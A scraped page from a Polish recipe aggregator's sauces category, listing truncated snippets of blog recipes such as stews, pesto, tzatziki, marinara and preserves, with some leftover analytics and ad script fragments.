sosy - 72734 przepisów (strona:2532/4849)

­Wegański gulasz z ciecierzycą. 100

zawartość białka, ponieważ zastępuje im zwierzęce białko. Wskazana jest dla osób odchudzających się, bo jest niskokaloryczna. Cieciorkę wykorzystuje się do wykonania hummusu, czyli pasty do pieczywa lub dipu do sosów. Groch włoski zmniejsza zachorowanie na raka jelita grubego, pozytywnie wpływa na płodność. Dobrze wpływa na wygląd naszej skóry, włosów i paznokci. Wspiera odporność naszego organizmu. Obniża poziom cholesterolu we krwi

Zdrowy Styl Joanny
Potrawka z udek z kurczaka z marchewką i koperkiem 129

soczyste i delikatne, zawsze się udają. Zobaczcie przygotowanie potrawki z udek kurczaka krok po kroku na poniższym filmie: Kliknij tu, by subsk rybować mój kanał na Youtube Kurczak w sosie koperkowym jest bardzo prosty w przygotowaniu. Wystarczy tylko oprószyć mięso przyprawami, podsmażyć z warzywami, a potem krótko dusić. Udka w przeciwieństwie do piersi bardzo trudno wysuszyć, więc to idealne danie

Lekcje w kuchni
Potrawka z kurczaka ze szparagami 148

zielonych szparagów . Najnowsze danie, które chcę Wam polecić to potrawka z kurczaka ze szparagami właśnie. Potrawka z kurczaka to połączenie zielonych szparagów z soczystym udźcem z kurczaka, marchewką oraz sosem śmietanowym z dodatkiem czosnku i tymianku. Ja tę potrawkę lubię podawać z gotowanym ryżem, możecie ją jednak zaserwować z innymi dodatkami. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook

MeCooks
Makaron szpinakowy z pstrągiem w sosie śmietanowo - porowym 132

Danie petarda. Pstrąg wędzony świeżutki, sos śmietanowo - porowy idealnie nadaje się z czerwonym pieprzem. Danie szybkie, wyraziste w smaku, idealne na obiad, polecam. Makaron z pstrągiem. CZYTAJ DALEJ

Moje Małe Czarowanie
Sos curry z czarną porzeczką 121

łyżki majonezu -2 łyżki jogurtu naturalnego gęstego -2 łyżki łagodnego ketchupu -1 łyżka dżemu z czarnej porzeczki -1 ząbek czosnku -2 łyżeczki curry Wszystkie składniki dokładnie, ręcznie wymieszać. Odstawić sos na godzinę przed podaniem do lodówki, aby smaki się zintegrowały.  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Kulinarne przemyslenia
Szaszłyki warzywne 126

grilla. Składniki: 1  bakłażan 2 cukinie (w dwóch kolorach) 300 g pieczarek 2 papryki (w dwóch kolorach) 2 cebule (w dwóch kolorach) marynata 6 łyżek oliwy 2 łyżki sosu sojowego 1 łyżeczka czerwonej papryki 1 łyżeczka ziół prowansalskich sól, pieprz Wykonanie: Wszystkie warzywa dokładnie myję, osuszam. Bakłażan przekrawam na pół i kroję razem z cukinią w plastry

magiczna kuchnia Kasi
Pierś kurczaka w sosie czosnkowo-szpinakowym z suszonymi pomidorami 483

fantastycznym mięsem, które doskonale komponuje sie z różnymi dodatkami. W tym daniu wykorzystałam między innymi świeży szpinak i suszone pomidory, a wszystko jest zatopione w słodkiej śmietanie. Wyszedł wspaniały sos z mięsem i dodatkami, który możecie podać z makaronem Co potrzeba: 1kg piersi z kurczaka, 2 średnie cebule, 1 pełna łyżka masła, 400 g śmietany 30%, 100 g świeżego szpinaku

Bułka z Chlebem
Majonez z gotowanych jajek 136

domowy majonez gotowy w 10 minut. Przepis na majonez domowy bez surowych jajek jest bardzo prosty. Poniżej znajdziesz dwa sposoby, na jego przygotowanie, a na blogu kilka propozycji na sosy do jajek na zimno . Domowy majonez z gotowanych jajek obficie doprawiony młotkowanym czarnym pieprzem.   Majonez z gotowanych jajek wszystkie składniki powinny być w temperaturze pokojowej 3 małe jajka (rozmiar

Cztery Fajery
Sycylijskie pesto z pistacji 174

kilka liści bazylii świeżo mielona sól 100 ml oliwy Wszystkie składniki prócz soli umieścić w blenderze i zmiksować przez kilka sekund do uzyskania konsystencji pesto.  Jeżeli wolimy, aby sos był bardziej płynny to należy dodać więcej oliwy. Na koniec doprawić pesto świeżo mielona solą. Smacznego

wyzwania kuchenne
Makaron z ragù z kaczki po wenecku. 120

się miękkie. W trakcie duszenia, w razie potrzeby podlewać winem lub bulionem; po uduszeniu, wyjąć ponownie części kaczki z patelni, wystudzić, usunąć skórę. Mięso drobno pokroić i dodać do sosu (opcjonalnie: można od razu użyć mięsa zmielonego) usunąć liście laurowe i cynamonowiec (oraz ew. inne użyte przyprawy) i całość ponownie podgrzać przez ok. 10 minut; serwować z makaronem, posypane startym

Pasta Po Polsku
Sałatka śledziowa warstwowa. Śledzik pod pyszną pierzynką. 136

Najpierw śledzik. Doprawiamy go śmiało świeżo zmielonym pieprzem i zalewamy olejem z sokiem cytrynowym. Na to ląduje cebulka I starte na grubej tarce ziemniaki . Następnie posypujemy jajkiem i zalewamy sosem musztardowo majonezowym. Posypujemy drobno tartym serem. Na wierzch ląduje szczypiorek i gotowe. Sałatka przez noc w lodówce ładnie przejdzie. Nie dość że wygląda pýsznie to smakuje  mega. W oryginale

Kuchnia po mojemu
Zapiekanka z warzywami i mięsem 109

wody osolonej do smaku. Gotować od zagotowania się wody 3 minuty. Warzywa tylko mają się delikatnie podgotować. Odcedzić i wyłożyć do żaroodpornego naczynia. Włożyć mięso do warzyw. Przygotowanie sosu – mozzarellę zetrzeć na tarce o dużych oczkach. Śmietanę i bulion wlać do dużego kubka, dodać musztardę, posiekany koperek, wyciśnięty przez praskę czosnek. Wymieszać i doprawić solą i pieprzem. Wylać wszystko

Kuchnia Pokoleń
Kieszonki z kurczaka 138

Kolejny szybki przepis na smaczny obiad, który sprawdza się w każdej sytuacji. Mój mąż uwielbia te kieszonki. Podaję je zawsze z puree ziemniaczanym i buraczkami. Całość

Prosty przepis na
Pizza z oliwkami na cienkim cieście 189

drożdżami. Ciasto mieszamy łyżką, następnie wyrabiamy je dłońmi do momentu uzyskania gładkiej konsystencji. Ciasto odkładamy na bok na pół godziny. W tym czasie przygotowujemy dodatki – kroimy oliwki, przygotowujemy sos pomidorowy, ścieramy ser. Ciasto rozwałkowujemy, starając się uformować kształt koła. Układamy je na blasze do pieczenia. Na cieście rozsmarowujemy sos/przecier pomidorowy, całość posypujemy serem. Następnie układamy pokrojone w plasterki oliwki. Sprawdź

Kulinarnyblog.pl - wiesz jak gotować!
Placek dyniowy z łososiem i grzybami 225

Składniki: 300 g dyni 4 łyżki mąki 1 jajko 100 g szpinaku 1 mała cebula 1/2 łyżki ostrego ajwaru sól, pieprz słodka papryka curry sos: 300 g łososia 200 g … Czytaj dalej Placek dyniowy z łososiem i grzybami

czarrna od kuchni
Sałatka z kurczakiem, bazylią i granatem 156

posypujemy pestkami granatu. Mieszamy sok z cytryny z oliwą. Warto wiedzieć jak przygotować: Kanapka z serkiem i sałatką z pomidorów Sałatkę doprawiamy szczyptą soli i pieprzu. Wszystko polewamy przygotowanym sosem. Na sam koniec można jeszcze raz wszystko wymieszać. Podajemy od razu. Sałatka z kurczakiem, bazylią i granatem Smacznego! Artykuł Sałatka z kurczakiem, bazylią i granatem pochodzi z serwisu Kulinarny Blog

Kulinarnyblog.pl - wiesz jak gotować!
Krokiety z szynką długodojrzewającą 134

Dziś hiszpańskie tapas, które zdecydowanie smakują wybornie. To takie przekąski na jeden kęs, jednak mogą idealnie nadać się jako samodzielne danie z ulubioną surówką i pysznym sosem. Spróbujecie? Mini kotleciki. CZYTAJ DALEJ

Moje Małe Czarowanie
spaghetti bolognese 142

praskę czosnek, mieszamy i dodajemy mięso, troszkę solimy. Smażymy, aż mięso straci różowy kolor. Następnie dodajemy pomidory, koncentrat, przyprawy i zoła do smaku. Całość dusimy ok. 15 min. Gotowy sos podajemy z ugotowanym makaronem i startym serem

Domowy Smak Jedzenia
Zdrowa pizza orkiszowa z mozzarellą 124

Zdrowa pizza z mąki orkiszowej z mozzarellą, pomidorami i rukolą , na domowym sosie pomidorowym to nasza ulubiona pizza fit, którą często robimy i nie mamy wyrzutów sumienia po jej zjedzeniu. Nasza córeczka tak bardzo ją polubiła, że często prosi o jej przygotowanie. Przepis na tę pizzę pochodzi z książki “Jedz i pracuj nad własnym zdrowiem” i wg autora ciasto

Moja Delicja
Zdrowa pizza orkiszowa z batatami i nerkowcami 126

Zdrowa pizza z mąki orkiszowej z batatami, nerkowcami i domowym sosem pomidorowym to nasza druga ulubiona fit pizza (obok Pizzy orkiszowej z mozzarellą i pomidorami ), w której gustuje cała nasza rodzinka. Połączenie słodkich batatów z chrupiącymi orzechami, słodko-kwaśną bazą pomidorową i odrobiną mozzarelli jest przepyszne (weganie mogą pominąć mozzarellę i dać więcej nerkowców). Pizza znika na ciepło, jak również

Moja Delicja
Placki warzywne z grzybami i łososiem 276

Składniki: placki 1 marchewka 1 mała cukinia 2-3 ziemniaki 1 łyżka mąki 1 jajko sól, pieprz sos: 250 g fileta z łososia 1 cebula 300 g odgotowanych grzybów 50 ml … Czytaj dalej Placki warzywne z grzybami i łososiem

czarrna od kuchni
Grzyby w oleju do słoików z cebulką 120

jeszcze w ciągu następnych dwóch dni. Jeśli tego nie zrobimy, grzyby na pewno nam się zepsują. Grzyby z tego przepisu są delikatne, kruche, bardzo sprężyste. Doskonale nadają się do sosów, do zup, wypasionych jajecznic, a także jako samodzielne danie np. z ziemniakami , kaszą lub makaronem . Polecamy! Składniki: na 3 kg grzybów 0,8 litra oleju 3 – 4 cebule sól

Kuchnia Na Wypasie
Pesto z rukoli 128

Pesto z rukoli to pyszna alternatywna dla słynnego pesto bazyliowego. Pesto to nic innego jak sos wywodzący się z Włoszech. Idealnie nadaje się jako dodatek do makaronów, np. do spaghetti. Czasami wykorzystujemy je do posmarowania grzanek, które póź Artykuł Pesto z rukoli pochodzi z serwisu DoGarow.pl

Do Garów!
Szybki bigos z cukinii / Quick Zucchini and Sausage Stew 179

pomidorami z puszki z zalewą oraz wodą (dolać tyle płynu, by lekko zakrywał składniki). Włożyć liście laurowe, ziele angielskie i kiełbasę. Dusić całość do preferowanej miękkości warzyw i zgęstnienia sosu (około 15-20 minut lub trochę dłużej). Chcesz być na bieżąco z nowymi przepisami? Polub moje konto na Facebooku: Lekcje w kuchni Quick Zucchini and Sausage Stew Recipe: 2 medium

Lekcje w kuchni
sos marinara 126

następnie podsmażyć na oliwie na złoty kolor. Dodać pomidory,zioła ,u mnie dwie gałązki tymianku i łyżeczka oregano. Całość gotować około 20-25 minut, co jakiś czas mieszając, aż sos zgęstnieje . Doprawić sola ,pieprzem

mojej kuchni
sos marinara 141

następnie podsmażyć na oliwie na złoty kolor. Dodać pomidory,zioła ,u mnie dwie gałązki tymianku i łyżeczka oregano. Całość gotować około 20-25 minut, co jakiś czas mieszając, aż sos zgęstnieje . Doprawić sola ,pieprzem

w mojej kuchni
Klopsiki po bałkańsku 205

Klopsiki po bałkańsku Szybkie i przepyszne danie jednogarnkowe. Soczyste klopsiki wieprzowe duszone z kolorowymi warzywami w mocno pomidorowym sosie. Obiad palce lizać! Danie możemy podać ze świeżym pieczywem, z ryżem, albo z makaronem.     Składniki: 0,5kg mięsa mielonego wieprzowego 1 jajko 2-3 łyżki bułki tartej przyprawy do mięsa: pieprz, sól, papryka mielona słodka oraz ostra, majeranek, czosnek

Blog z Apetytem
Polędwiczki wieprzowe w kremowym sosie kurkowym 129

pieprzem plastry polędwiczki. Smażyć na mocnym ogniu przez kilka minut, aż mięso się zrumieni od spodu, przewrócić na drugą stronę i powtórzyć smażenie. Usmażone mięso włożyć w gotowy sos kurkowy, a całość gotować przez ok. 2-5 minut. Gotowe! Danie można podać z gotowanymi ziemniakami, kluskami śląskimi, czy gnocci oraz świeżą surówką, fasolką szparagową, mizerią, czy sałatą otuloną w jogurcie

Calzonella.com
KREWETKI W SOSIE POMIDOROWYM 169

hektolitry wody do produkcji, której nam powoli zacznie brakować oraz niegodne warunki bytowe zwierząt). Wracając do krewetek jeżeli jeszcze macie ochotę na nie, dziś polecają się w sosie pomidorowym. Do dzieła :-)  Składniki:  200 g obranych krewetek białych  łyżka masła  2 duże ząbki czosnku  3-4 pomidory lub puszka krojonych

pieprzny smaczek
Leczo z mięsem mielonym / Ground Meat 'Leczo' 147

mięso, koncentrat i pomidory z puszki z zalewą.  Dodać listek laurowy i ziele. Dolać tyle wody lub bulionu, by lekko zakrył składniki. Dusić na małym ogniu, do zgęstnienia sosu i miękkości składników. Doprawić do smaku. Chcesz być na bieżąco z nowymi przepisami? Polub moje konto na Facebooku: Lekcje w kuchni Ground Meat 'Leczo' ( Hungarian/Polish Vegetable Stew

Lekcje w kuchni
Kremowe kaszotto z borowikami i sorgo 137

Dzisiaj przychodzę do Was z propozycją rewelacyjnego jednogarnkowego obiadu. Kremowe kaszotto z borowikami i sorgo oraz wieprzowiną to wspaniały, zdrowy i sycący obiad. Pyszny i kremowy sos śmietankowo- grzybowy doskonale łączy się z soczystymi kawałkami miękkiej szynki wieprzowej oraz lekko orzechowym smakiem białego sorgo. Kaszotto możesz przygotować dzień wcześniej, a następnego dnia tylko odgrzać, zapewniam że w tej wersji

Gotujemywdomu.pl
Polędwiczki wieprzowe w marynacie miodowej 109

u0105 i zostawi\u0107 na ok 30 minut.\r","Gotowa\u0107 w marynacie lub na parze ok 30 minut."],"recipeYield":"4","keywords":"mi\u0119so,mi\u00f3d,obiad,pol\u0119dwiczki,sos,wieprzowina"} Drukuj Polędwiczki wieprzowe w marynacie miodowej Porcje: 4 Składniki: 4 polędwiczki wieprzowe, 2 ząbki czosnku, 50g wody, 50g miodu, 20g octu balsamicznego, 1/4 łyżeczki gałki muszkatołowej, sól, pieprz. Przygotowanie

Bardzo Gruby Smok
Pasta z bakłażana 139

baba ghanoush. Tajemnicą smacznego baba ghanoush jest opalany bakłażan, można go też upiec w piekarniku, podobnie jak w przepisie na moją pasta paprykowa tak samo robi się ajwar, czy sos lutenica . Podstawą tego dania jest bakłażan, pasta tahini, czosnek. Przyprawy możemy dodawać w zależności od upodobań smakowych. Dodałam jeszcze drobno siekaną pietruszkę, oraz odrobinę oliwy z oliwek. Przeważnie jem baba

Damsko-męskie spojrzenie na kuchnię
Domowy Ajwar - pyszny sos do mięs ,na kanapki 149

Pyszny,lekko pikantny sos z grillowanych papryk i bakłażanów.Nadaje się właściwie do wszystkiego- idealny do mięs,na kanapki,jako dodatek do dań obiadowych,do posmarowania pizzy,do makaronu.Jest bardzo uniwersalny ,czyli taki jak lubię.Na pewno wam posmakuje,polecam

Swojskie jedzonko
Sos słodko - kwaśny do słoików 518

Pyszny,niezwykle aromatyczny sos,dzięki któremu zrobisz obiad w kilka minut.Warto mieć go zawsze w spiżarni,zimą wystarczy podsmażyć kurczaczka dodać nasz sosik i podać z ryżem i pyszny obiad gotowy. Jeden z moich ulubionych.Polecam

Swojskie jedzonko
Domowa słodka marynata-lato w sloiku 134

jest prosta w przygotowaniu i jest świetnym sposobem na cieszenie się świeżymi ogórkami w zimie.jak lubicie zurawine i borowke do kanapek i miesa to ten sos bedzie super Skladniki 4 szklanki drobno pokrojonych ogórków 2 filiżanki drobno posiekanej papryki czerwonej lub żółtej 2 szklanki drobno posiekanej cebuli 1/4 szklanki soli 3 1/2 szklanki cukru 2 szklanki octu jabłkowego 1 łyżka

mojej kuchni
Domowa słodka marynata-lato w sloiku 154

jest prosta w przygotowaniu i jest świetnym sposobem na cieszenie się świeżymi ogórkami w zimie.jak lubicie zurawine i borowke do kanapek i miesa to ten sos bedzie super Skladniki 4 szklanki drobno pokrojonych ogórków 2 filiżanki drobno posiekanej papryki czerwonej lub żółtej 2 szklanki drobno posiekanej cebuli 1/4 szklanki soli 3 1/2 szklanki cukru 2 szklanki octu jabłkowego 1 łyżka

w mojej kuchni
Warstwowa sałatka jajeczna z tuńczykiem 147

tuńczykiem, serem oraz ogórkiem konserwowym. Idealna na kolację lub imprezę. Jest przepyszna, niebanalna i znika z talerza błyskawicznie :)!!. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 5 dużych jaj 1 puszka tuńczyka w sosie własnym 2 większe ogórki konserwowe pół cebuli ok 150 gram sera żółtego w kawałku, u mnie gouda 50 gram zmrożonego masła 4-5 łyżek majonezu większa szczypta pieprzu (adsbygoogle = window.adsbygoogle

Blog kulinarny S9.PL
Sos do spaghetti na zimę do słoików 277

Pyszny przepis mojej mamy-robimy go od lat jest niezwykły pełny warzyw i smaku.Idealny pomysł dla zapracowanych bo wystarczy podsmażyć w zimie np mięsko mielone i dodać sos ze słoika i gotowy bardzo smaczny obiad

Swojskie jedzonko
Jagody ze słoika 136

Uwielbiam ten przepis za jego prostotę i błyskawiczne wykonanie. Jagody w sosie własnym robię na zimę w ilościach hurtowych - są idealne na bolący brzuszek dziecka, ale nadają się również na słodki posiłek, wystarczy dodać makaron

Prosty przepis na
Sałatka Zamojska 164

Pyszna sałatka z dodatkiem kalafiora o bardzo delikatnym smaku z dodatkiem sosu czosnkowego wpisuje się idealnie we wszelkiego rodzaju przyjęcia i imprezy

Prosty przepis na
Tzatziki 287

minut aby puściły sok.  Po upływie tego czasu wyciskamy z ogórków sok i przekładamy je do miski. Dodajemy pozostałe składniki, doprawiamy do smaku solą i pieprzem, mieszamy. Sos podajemy z warzywami lub mięsem pieczonym na grillu lub z piekarnika

Qchnia po prostu
SPAGHETTI Z SOSEM Z KALAFIORA 139

mnie nikt głodny nie wyjdzie, gdyby nawet miał zjeść spaghetti z sosem z kalafiora.Warzywo, to ponoć ma największy potencjał do walki z rakiem, a do jego silnych właściwości antynowotworowych przekonują naukowcy z Ameryki i Kanady. Mnie to bardzo cieszy, bo bardzo lubię ten skrajnie brzydki z urody warzywny mózg. Przygotowanie dzisiejszego obiadu trwało 10 min + czas na ugotowanie makaronu

pieprzny smaczek
Woke z tygrysimi krewetkami 149

łyżki nasion sezamu do posypania Marynata do krewetek 3 łyżki oliwy 1 czosnek solo, duży 1 żółte chili pęczek świeżej kolendry 2 łyżki ryżowego octu 2 łyżki jasnego sosu sojowego sok z jednej limonki Do przygotowania tego dania można użysz świeże lub mrożone krewetki. Z podanych składników przygotuj marynatę. Pokrój kolendrę. Czosnek przeciśnij przez praskę. Chili przekrój wzdłuż. Usuń nasiona

codojedzenia
Sałatka z brzoskwiniami i prażonymi migdałami 145

skórkę z limonki na drobnych oczkach tarki do warzyw, a następnie kroję na pół i wyciskam sok. Dodaję miód, oliwę i mieszam w słoiczku potrząsając kilka chwil. Polewam sałatkę sosem i podaję. Och, ach! Jak kroić brzoskwinie, żeby nie zwariować? Zacznijmy od tego, że ta metoda dotyczy dojrzałych brzoskwiń - tylko wtedy miąższ odchodzi od pestki. W przypadku twardych owoców można

Gary Bez dna
Sos tzatziki 201

Ogórki zetrzeć na grubym oczku i posolić, żeby oddały wodę. Następnie dodać resztę składników i pozostawić do przegryzienia w lodówce na około 3 godziny. … Czytaj dalej Sos tzatziki

Pij soki wyciskane
Gulasz z piekarnika 163

mięsa wieprzowego, u mnie karkówka ale może być również mięso z łopatki lub golonki 1 duża cebula 2 ząbki czosnku 1 łyżka koncentratu pomidorowego 1 łyżka oleju 1 łyżka sosu sojowego 2 łyżki ketchupu, najlepiej pikantnego 2 łyżki wody 2 łyżki mąki pszennej 1 łyżeczka mąki ziemniaczanej 1 łyżeczka soli 1 łyżeczka słodkiej papryki 1/2 łyżeczki mielonego pieprzu 1/2 łyżeczki

Blog kulinarny S9.PL
Sos z leśnych grzybów-pychotka! 129

Pyszny sos,szczególnie teraz kiedy mamy mokre lato i jest wysyp prawdziwków ,robi się to błyskawicznie i jest idealny na obiad do ziemniaków lub jako dodatek do kotleta

Swojskie jedzonko
PAPRYKARZ Z TUŃCZYKA 130

kanapki, śniadanie, kolację. Paprykarz, który przygotujesz przez cały rok, z łatwo dostępnych składników. Pastę podaję na pieczywie z dodatkiem świeżej natki lub szczypiorku. SKŁADNIKI: 2 puszki tuńczyka w sosie własnym – 2 x 185 g, po odsączeniu 130 g 2 cebule – 200 g 3 marchewki – 250-260 g ½ szklanki ryżu (przed ugotowaniem) 3 ząbki czosnku

Zasmakuj Kuchni
Placki gryczane z cukinią 159

cukinią. Placki gryczane z cukinią - przepis na 4 porcje Do przygotowania placków będziesz potrzebować: 200g mąki gryczanej, 600g cukinii, jajko, łyżeczkę czarnuszki, sól i pieprz do smaku. Do przygotowania sosu będziesz potrzebować: 300g jogurtu greckiego, 2 ząbki czosnku, sól i pieprz do smaku. 1. Cukinię zetrzyj na grubej tarce. 2. W dużej misce wymieszaj cukinię z mąką, dodaj jajko roztrzepane

Z notatnika dietetyka
Salsa pomidorowa – łagodna 113

Czas czytania: < 1 min Salsa to nic innego jak sos ze zmiksowanych, lub drobno pokrojonych warzyw lub owoców. Ta dzisiejsza, to wersja łagodnej pomidorowej salsy dobrej dla każdego i do wszystkiego. Salsa jest świetnym dodatkiem do nachosów różnego rodzaju tortilli, ryb, czy na przykład jajecznicy. Jest cudownie świeża przygotowana z dodatkiem aromatycznych przypraw takich jak kminek, czosnek, cytryna

SprawdzonaKuchnia.pl
Przecier pomidorowy 121

klasyczny przecier z odrobiną soli i pieprzu, z którego zupa pomidorowap nie ma sobie równych. Do drugiej wersji dodaję czosnek, oregano i bazylię i to stanowi świetną bazę na sos do spaghetti. Szukasz błyskawicznego przepisu na przecier pomidorowy II ? Wypróbuj najnowszą wersję tego przepisu pod tym adresem ! A może chcesz poznać smak kiszonych pomidorów ? Print Przecier pomidorowy .wprm-recipe-rating

SprawdzonaKuchnia.pl
Przecier pomidorowy II 136

sprawi, że pozbędziemy się wody z pomidorów, co zagęści konsystencję przecieru. Długie gotowanie nie jest potrzebne, jeśli przygotowujecie przeciery pomidorowe z myślą o zupach pomidorowych. Jeśli potrzebujecie przecieru do sosów pomidorowych, pizzy czy spaghetti to należy gotować je dość długo, aby były gęste. Smacznego! Print Przecier pomidorowy II .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Prosty przecier

SprawdzonaKuchnia.pl
Budyń domowy 131

dokładnie wymieszać proszek budyniowy tak, aby nie było grudek. Kiedy woda/mleko zacznie wrzeć należy dolać mieszankę, zagotować ciągle mieszając, zdjąć z ognia rozlać do pucharków. Budyń można podać z sosem owocowym lub świeżymi owocami. Smacznego! Notes *mieszankę mąki ziemniaczanej z mąką z tapioki można zastąpić skrobią kukurydzianą, która jest biała, nie mylić jej z żółtą mąką kukurydzianą. Wszystkie składniki odmierzyć

SprawdzonaKuchnia.pl
Szparagi po polsku z białym sosem 110

Przepis na sos pochodzi z XVIII wieku. Znalazłam go na stronie Kuchnia Staropolska , która jest kopalnią wiedzy o dawnej polskiej kuchni

Stare Gary
Klasyczne kotlety mielone 200

Każda gospodyni ma swój własny przepis na pyszne kotlety mielone. Dziś pokażę Wam swój sprawdzony przepis na to danie. To jest błyskawiczny i bardzo szybki przepis

Kulinarnyblog.pl - wiesz jak gotować!
Szparagi z wołowiną smażone w woku 183

Zróbcie koniecznie. Pyszne danie. Szybko się robi. I zjada też dosyć szybko. No i korzystać trzeba, dopóki szparagi niedrogie i w sezonie. Za chwilę już tak

slodkokwasnapl
Mintaj pieczony ze szparagami w sosie koperkowo-śmietankowym 179

Przepyszne i takie proste danie w kremowym, śmietankowo-koperkowym sosie. Ryba po upieczeniu jest delikatna i wprost rozpływa się w ustach. Szparagi pozostają lekko chrupiące i doskonale smakują w takim połączeniu. Danie przygotowuje się bardzo szybko i jestem pewna, że każdemu posmakuje. 4 duże filety mintaja pęczek szparagów 1 szkl mąki olej do smażenia przyprawa do ryb sól, świeżo zmielony

Smakołyki Asi
Szparagi i kalafior zapiekane w beszamelu 109

chwili, lekką stróżką (cały czas mieszając) wlewamy mleko, dodajemy starty ser. Podgrzewamy kilka minut. Do smaku doprawiamy solą, pieprzem i świeżo startą gałką muszkatołową. Na dno naczynia żaroodpornego wylewamy sos, układamy warzywa. Całość zapiekamy 20 minut w piekarniku rozgrzanym do 180°C. Podajemy z ulubionym dodatkiem. U nas makaron. Normal 0 21 false false false MicrosoftInternetExplorer4 st1\:*{behavior:url(#ieooui

R'n'G Kitchen
Przystawki na grilla na gorąco i zimno 130

Jakie warzywa wybrać na grilla zależy od upodobań smakowych. U nas jest to zawsze kilka warzyw, które w jakiś sposób mogę połączyć w jedną całość. Może to być dressing, sos lub hummus. Przystawki na grilla na ciepło Idealne warzywa na grilla to szparagi, bataty i cukinia. Uwielbiam grzyby. W sezonie są to kurki…A propos kurek to dzisiaj

codojedzenia
Potrawka z indyka 181

kroimy w średnią kostkę i z powrotem wrzucamy do wywaru. Śmietankę mieszamy  z mąką, dodajemy łyżkę wazową wywaru i wlewamy z powrotem do całości. Mieszając doprowadzamy do zagotowania. Sos powinien zgęstnieć. Na koniec dodajemy poszatkowany drobno koper oraz doprawiamy do smaku solą i pieprzem. Podajemy ulubioną kaszą, ryżem lub ziemniakami oraz surówką

Qchnia po prostu
Bezglutenowe brownie z lodami i solonym karmelem 189

Uwielbiam szybkie ciasta, a takie jest brownie. Ostatnio robię je w wersji bezglutenowej z mąki migdałowej. Tym razem dodałam do niego lody i polałam sosem solonym karmelem. Oj to była wspaniała poezja smaków. Czytaj więcej

Ana Mari's world
Bezglutenowe brownie z lodami i solonym karmelem 189

Uwielbiam szybkie ciasta, a takie jest brownie. Ostatnio robię je w wersji bezglutenowej z mąki migdałowej. Tym razem dodałam do niego lody i polałam sosem solonym karmelem. Oj to była wspaniała poezja smaków. Czytaj więcej

Ana Mari's world
Marchewka w ziołach 202

Dodajemy marchewkę. Chwilę smażymy. Podlewamy niewielką ilością wody z martini. Przykrywamy i dusimy do miękkości. Pod koniec wsypujemy zioła i przyprawiamy do smaku solą. Mąkę rozprowadzamy w jogurcie. Zagęszczamy sos. Delikatnie gotujemy mieszając. Podajemy na ciepło. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push

Smaki Ewy
Masło orzechowe 119

najpopularniejszym sposobem wykorzystania masła orzechowego w kuchni są po prostu kanapki z nim oraz dżemem. Niestety niewiele osób idzie o krok dalej. Osobiście bardzo lubię ryż z tofu w sosie orzechowym , zupę orzechową , curry z batatem czy tajską sałatkę . Tam wszędzie mamy dodatek masła orzechowego! Poza tym można zrobić coś na słodko. Ciastka z ciecierzycy i batoniki owsiane , to moje

Blendman
Jak zrobić hummus? Prosty przepis 127

wypróbujesz. Znany na całym świecie głównie za sprawą wegetarian i wegan, zdobywa również uznanie wśród mięsożerców. Świetnie się sprawdzi zarówno na szybkie śniadanie jako pasta do chleba, jak i sos, w którym będziemy maczać ogórki, krakersy, paluchy (zarówno te chlebowe, jak i własne). Dobrze komponuje się z winem, jest bardzo szybka do przygotowania (można użyć ciecierzycy z puszki), dlatego też

Blendman
Sałatka z łososiem i gruszką 174

wymagająca tylko kilku składników. Potrzebujemy: 100 g wędzonego łososia 1 paczka mixu sałat 1 gruszka 0,5 awokado 1 camembert (krążek 100-120g) 2 łyżki pestek dyni Sos: 3 łyżeczki musztardy francuskiej 2 łyżeczki miodu 2 łyżeczkę oliwy z oliwek 1 łyżeczkę soku z cytryny 1 ząbek czosnku Do miski wrzucamy mix sałat. Awokado obieramy i kroimy w kostkę

Emskie Smaki
Kaczka w sosie musztardowo śliwkowym 155

Połączenie śliwek i musztardy z jałowcem i rozmarynem w marynacie do kaczej piersi, zdecydowanie podnosi jej walory smakowe. Reszta dodatków według własnego uznania.… Czytaj dalej Kaczka w sosie musztardowo śliwkowym

Pij soki wyciskane
Sałatka z tortellini i ananasem 618

sprawi, że nabierze ona delikatnie słodkiego smaku. Tortellini to rodzaj włoskich pierożków robionych z ciasta makaronowego. Są one wypełnione nadzieniem mięsnym, serowym albo grzybowym. Podawane są we Włoszech z sosem, albo oliwa i parmezanem. W Polsce tortellin i można kupić z różnym nadzieniem. Coraz bardziej popularne są te, które znajdziemy w lodówkach, z krótką datą ważności robione ze świeżego ciasta

Kulinarnyblog.pl - wiesz jak gotować!
Gulasz z kurczaka i warzyw / Chicken and Vegetable Stew 137

Dziś zapraszam na szybki gulasz z kurczaka w sosie pomidorowym z cukinią. Do gulaszu możemy wrzucić większość ulubionych warzyw i sezonowych warzyw, świetnie sprawdzą się tutaj również pieczarki. Danie dobrze smakuje z ryżem lub ziemniakami. Smacznego:) 500 g piersi kurczaka, cukinia, duża marchewka, 2 gałązki selera naciowego, duża cebula, 2 ząbki czosnku, 3 łyżki koncentratu pomidorowego, ok. 2 szklanek bulionu

Lekcje w kuchni
Szaszłyki z mięsa mielonego (Kofta) / Kofta Kebabs 119

piekarniku, bo nie trzeba ich obracać i mamy pewność, że się nie rozpadną, ale można przygotować je na grillu lub patelni grillowej. Ja lubię podawać je z sosem tzatziki , można zamknąć je w też w bułce do kebabu lub chlebku pita . Smacznego:) 500 g mielonego mięsa wieprzowego, 1-2 jajka, ok. 1/4 szklanki bułki tartej, 1-2 ząbki czosnku, mała

Lekcje w kuchni
Gulasz z kurczaka i fasoli / Chicken and Black Bean Stew 128

drobno posiekany czosnek, a następnie koncentrat. Smażyć pół minuty, zalać całość wodą lub bulionem, tak, by lekko zakrywał składniki. Doprawić. Dusić na małym ogniu, do miękkości składników i zgęstnienia sosu. Pod koniec gotowania wrzucić odsączoną fasolę, orzeszki i świeżą bazylię. Facebook Instagram Twitter ENGLISH: 500 g of chicken breast, 1 red bell pepper, 1 onion, 2 cloves of garlic, approx

Lekcje w kuchni
Szybka sałatka z tuńczykiem 154

